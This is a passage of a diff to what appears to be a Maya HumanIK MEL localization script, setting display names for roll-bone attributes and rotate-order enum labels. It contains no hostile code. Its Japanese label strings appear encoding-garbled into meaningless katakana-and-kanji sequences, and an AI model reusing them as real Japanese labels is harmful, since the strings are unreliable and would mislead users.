ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Ty", "メカラヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Tz", "メカラヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5R", "メカラヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Rx", "メカラヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Ry", "メカラヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Rz", "メカラヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5S", "メカラヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sx", "メカラヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sy", "メカラヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5Sz", "メカラヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateOrder", "メカラヌーアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxis", "メカラヌーアロイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisx", "メカラヌーアロイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisy", "メカラヌーアロイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5RotateAxisz", "メカラヌーアロイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrient", "メカラヌーアロイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrientx", "メカラヌーアロイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrienty", "メカラヌーアロイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5JointOrientz", "メカラヌーアロイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimit", "メカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitx", "メカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimity", "メカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitz", "メカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimit", "メカラヌーアロイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitx", "メカラヌーアロイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimity", "メカラヌーアロイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitz", "メカラヌーアロイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnablex", "ニモテメカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnabley", "ニモテメカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MinRLimitEnablez", "ニモテメカラヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnablex", "ニモテメカラヌーアロイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnabley", "ニモテメカラヌーアロイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll5MaxRLimitEnablez", "ニモテメカラヌーアロイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5", "メカモメアロイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5T", "メカモメアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Tx", "メカモメアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Ty", "メカモメアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Tz", "メカモメアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5R", "メカモメアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Rx", "メカモメアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Ry", "メカモメアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Rz", "メカモメアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5S", "メカモメアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sx", "メカモメアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sy", "メカモメアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5Sz", "メカモメアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateOrder", "メカモメアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxis", "メカモメアロイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisx", "メカモメアロイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisy", "メカモメアロイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5RotateAxisz", "メカモメアロイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrient", "メカモメアロイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrientx", "メカモメアロイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrienty", "メカモメアロイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5JointOrientz", "メカモメアロイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimit", "メカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitx", "メカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimity", "メカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitz", "メカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimit", "メカモメアロイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitx", "メカモメアロイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimity", "メカモメアロイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitz", "メカモメアロイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnablex", "ニモテメカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnabley", "ニモテメカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MinRLimitEnablez", "ニモテメカモメアロイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnablex", "ニモテメカモメアロイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnabley", "ニモテメカモメアロイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll5MaxRLimitEnablez", "ニモテメカモメアロイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5", "メカモメヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5T", "メカモメヌーアロイ犹 5 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Tx", "メカモメヌーアロイ犹 5 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Ty", "メカモメヌーアロイ犹 5 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Tz", "メカモメヌーアロイ犹 5 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5R", "メカモメヌーアロイ犹 5 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Rx", "メカモメヌーアロイ犹 5 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Ry", "メカモメヌーアロイ犹 5 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Rz", "メカモメヌーアロイ犹 5 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5S", "メカモメヌーアロイ犹 5 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sx", "メカモメヌーアロイ犹 5 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sy", "メカモメヌーアロイ犹 5 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5Sz", "メカモメヌーアロイ犹 5 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateOrder", "メカモメヌーアロイ犹 5 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxis", "メカモメヌーアロイ犹 5 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisx", "メカモメヌーアロイ犹 5 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisy", "メカモメヌーアロイ犹 5 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5RotateAxisz", "メカモメヌーアロイ犹 5 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrient", "メカモメヌーアロイ犹 5 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrientx", "メカモメヌーアロイ犹 5 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrienty", "メカモメヌーアロイ犹 5 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5JointOrientz", "メカモメヌーアロイ犹 5 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimit", "メカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitx", "メカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimity", "メカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitz", "メカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimit", "メカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitx", "メカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimity", "メカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitz", "メカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnablex", "ニモテメカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnabley", "ニモテメカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MinRLimitEnablez", "ニモテメカモメヌーアロイ犹 5 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnablex", "ニモテメカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnabley", "ニモテメカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll5MaxRLimitEnablez", "ニモテメカモメヌーアロイ犹 5 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "ReferenceRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HipsRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftUpLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFootRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightUpLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightLegRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFootRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "SpineRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftForeArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftHandRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightForeArmRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightHandRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "HeadRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightToeBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftShoulderRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightShoulderRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "NeckRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "LeftFingerBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "RightFingerBaseRotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine1RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine2RotateOrder", 10, "zyx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 0, "xyz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 2, "xzy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 4, "yzx" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 6, "yxz" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 8, "zxy" ); +setAttrEnumResource( "HIKCharacterNode", "Spine3RotateOrder", 